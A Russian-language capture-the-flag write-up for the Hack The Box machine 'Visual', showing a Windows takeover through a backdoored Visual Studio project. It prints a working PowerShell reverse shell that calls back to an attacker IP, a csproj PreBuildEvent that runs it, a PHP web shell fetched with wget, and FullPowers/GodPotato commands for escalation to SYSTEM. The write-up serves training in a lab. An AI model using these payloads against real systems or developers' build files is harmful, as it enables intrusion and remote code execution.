February 29, 2024

HTB Visual. Захватываем сервер на Windows через проект Visual Studio

  1. Разведка
  2. Точка входа
  3. Точка опоры
  4. Продвижение
  5. Локальное повышение привилегий

В этом рай­тапе я покажу, как про­ник­нуть на хост через бэк­дор в нас­трой­ках про­екта Visual Studio. Затем получим сес­сию от име­ни служ­бы веб‑сер­вера, акти­виру­ем при­виле­гию SeImpersonate и исполь­зуем оче­ред­ную «кар­тошку» для выпол­нения кода от име­ни сис­темы.

На­ша цель — получе­ние прав супер­поль­зовате­ля на машине Visual с учеб­ной пло­щад­ки Hack The Box. Уро­вень слож­ности машины — сред­ний.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.234 visual.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ска­нер нашел толь­ко один откры­тый порт — 80 (веб‑сер­вер Apache 2.4.56), что для Windows край­не нехарак­терно. Давай взгля­нем на сайт, с которым нам пред­сто­ит работать.

Глав­ная стра­ница сай­та

ТОЧКА ВХОДА

На сай­те есть фор­ма встав­ки URL и Git-репози­торий. Давай для тес­та запус­тим локаль­ный веб‑сер­вер и пос­мотрим, что будет, если вста­вить в поле для ссыл­ки его адрес.

python3 -m http.server 80

Мы получа­ем лог сбор­ки про­екта.

Лог сбор­ки
Ло­ги веб‑сер­вера

На сай­те ука­зано, что исполь­зует­ся язык раз­работ­ки C# и сре­да Visual Studio, а зна­чит, ожи­дает­ся, что поль­зователь вста­вит адрес репози­тория с про­ектом на C#. Давай под­готовим такой репози­торий.

Под­нима­ем вир­туал­ку с Windows и ста­вим Visual Studio. Теперь соз­дадим прос­той кон­соль­ный про­ект C# и ско­пиру­ем его пап­ку на свой основной хост.

Струк­тура про­екта Visual Studio

Те­перь нуж­но соз­дать Git-репози­торий. Ини­циали­зиро­вать пус­той репози­торий мож­но коман­дой git init в катало­ге с про­ектом.

Соз­дание Git-репози­тория

Те­перь коман­дой git add нуж­но добавить каталог про­екта в репози­торий и соз­дать ком­мит с любым име­нем, к при­меру e1:

git commit -m e1

В кон­це обновля­ем информа­цию о сер­вере коман­дой git update-server-info.

До­бав­ление фай­лов в репози­торий

Ког­да все готово, в текущем катало­ге сно­ва запус­каем веб‑сер­вер и отправ­ляем адрес репози­тория:

http://10.10.16.91/.git

Ло­ги веб‑сер­вера
Ло­ги сбор­ки

Сбор­ка про­екта прош­ла успешно, а зна­чит, мы можем перей­ти к сле­дующей ста­дии — получе­нию уда­лен­ного выпол­нения кода.

ТОЧКА ОПОРЫ

Су­щес­тву­ет нес­коль­ко спо­собов выпол­нить код, манипу­лируя нас­трой­ками сбор­ки про­ектов Visual Studio. Обыч­но такие трю­ки при­меня­ют при целевых фишин­говых ата­ках, нап­равлен­ных на раз­работ­чиков. Самый прос­той из них — это задания перед сбор­кой и пос­ле.

В бло­ке PropertyGroup мож­но объ­явить парамет­ры PreBuildEvent и PostBuildEvent соот­ветс­твен­но, которые ука­зыва­ют, какую коман­ду нуж­но выпол­нить в сис­теме. Запус­тим лис­тенер:

rlwrap nc -nlvp 4321

И закоди­руем в Base64 сле­дующий реверс‑шелл на PowerShell.

$client = New-Object System.Net.Sockets.TCPClient("10.10.16.91",4321);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (pwd).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()};$client.Close()

За­тем изме­ним файл с нас­трой­ками про­екта evil.csproj, добавив задания пред­сбор­ки.

<PreBuildEvent>powershell -e JABjAGwAaQ.....AApAA==</PreBuildEvent>

Со­дер­жимое фай­ла evil.csproj

При­меним изме­нения в репози­тории, выпол­ним ком­мит и отпра­вим ссыл­ку на репози­торий заново.

git add evil/evil.csproj git commit -m "e2"git update-server-info

Фик­сация изме­нений в Git
Ло­ги сбор­ки

По­луча­ем сооб­щение о том, что вре­мя ожи­дания истекло, при этом в окне лис­тенера netcat появ­ляет­ся бэк­коннект. Зна­чит, у нас получи­лось попасть в сис­тему!

Сес­сия в netcat

ПРОДВИЖЕНИЕ

Сна­чала прос­матри­ваем домаш­ние катало­ги поль­зовате­лей. Так, из обыч­ных юзе­ров в сис­теме есть толь­ко enox, с его рабоче­го сто­ла и забира­ем пер­вый флаг.

Флаг поль­зовате­ля

Об­рати вни­мание, что реверс‑шелл запущен из катало­га с заг­ружен­ными на веб‑сер­вер фай­лами. Прос­матри­вая кор­невой каталог веб‑сер­вера, находим и фай­лы самого сай­та.

Со­дер­жимое катало­га C:\xampp\htdocs

Ве­роят­но, у это­го поль­зовате­ля есть при­виле­гии на запись в каталог веб‑сер­вера. Про­верить это очень прос­то, нуж­но лишь попытать­ся соз­дать какой‑нибудь файл.

За­пись фай­ла test

Файл успешно соз­дан, а зна­чит, мож­но заг­рузить на сер­вер веб‑шелл для выпол­нения команд и получить новую сес­сию от име­ни поль­зовате­ля служ­бы веб‑сер­вера. У этой учет­ки будут допол­нитель­ные при­виле­гии в срав­нении с учет­ными запися­ми прос­тых поль­зовате­лей.

За­писы­вать будем самый прос­той веб‑шелл на PHP. На локаль­ной машине соз­дадим файл с таким содер­жимым:

<?php system($_GET['c']); ?>

Те­перь запус­тим веб‑сер­вер (python3 -m http.server -p 80) и ска­чаем шелл на уда­лен­ный хост.

wget 10.10.16.91/shell.txt -O C:\xampp\htdocs\rcmd.php

Те­перь мож­но обра­щать­ся к веб‑шел­лу через curl, к при­меру выпол­нить коман­ду whoami.

curl 'http://visual.htb/rcmd.php?c=whoami'

Ре­зуль­тат выпол­нения коман­ды whoami

Да­вай сно­ва запус­тим лис­тенер и выпол­ним тот же реверс‑шелл, что исполь­зовали рань­ше.

Сес­сия поль­зовате­ля Local Service

По­луча­ем сес­сию в кон­тек­сте Local Service и идем повышать при­виле­гии.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Учет­ные записи LOCAL SERVICE и NETWORK SERVICE нас­тро­ены на запуск с огра­ничен­ным набором при­виле­гий, что­бы при ком­про­мета­ции этих учет­ных записей ата­кующий не получал опас­ных при­виле­гий SeAssignPrimaryToken и SeImpersonate.

whoami /all

Ин­форма­ция об учет­ной записи

Од­нако, если про­цесс соз­дан служ­бой пла­ниров­щика задач, он бу­дет иметь все при­виле­гии, которые по умол­чанию свя­заны с учет­ной записью.

Для авто­мати­чес­кой экс­плу­ата­ции вос­поль­зуем­ся ути­литой FullPowers. Будем выпол­нять наш реверс‑шелл, но нап­равим на дру­гой порт.

.\fp.exe -c "powershell -e JABjAGw..."

Ло­ги FullPowers

На новый лис­тенер при­лета­ет сес­сия, и теперь у поль­зовате­ля активны все нуж­ные нам при­виле­гии.

Но­вая сес­сия со все­ми при­виле­гиями

В том чис­ле вклю­чена при­виле­гия SeImpersonatePrivilege (пра­во «оли­цет­ворять кли­ента пос­ле про­вер­ки под­линнос­ти»). Вот что о ней ска­зано в докумен­тации:

Прис­воение поль­зовате­лю пра­ва «Оли­цет­ворять кли­ента пос­ле про­вер­ки под­линнос­ти» раз­реша­ет прог­раммам, запущен­ным от име­ни дан­ного поль­зовате­ля, оли­цет­ворять кли­ента. Исполь­зование дан­ного парамет­ра пре­дот­вра­щает оли­цет­ворение неав­торизо­ван­ными сер­верами кли­ентов, под­клю­чающих­ся к этим сер­верам с помощью про­цедур RPC или име­нован­ных каналов.

Дру­гими сло­вами: эта при­виле­гия поз­воля­ет ими­тиро­вать любой токен, дес­крип­тор которо­го мы смо­жем получить. Для это­го исполь­зуем пос­леднюю на дан­ный момент «кар­тошку» — GodPotato. Сно­ва выпол­няем реверс‑шелл и получа­ем сес­сию от име­ни SYSTEM.

.\gp.exe -cmd "powershell -e JABjAGwAaQ..."

Флаг рута

Ма­шина зах­вачена!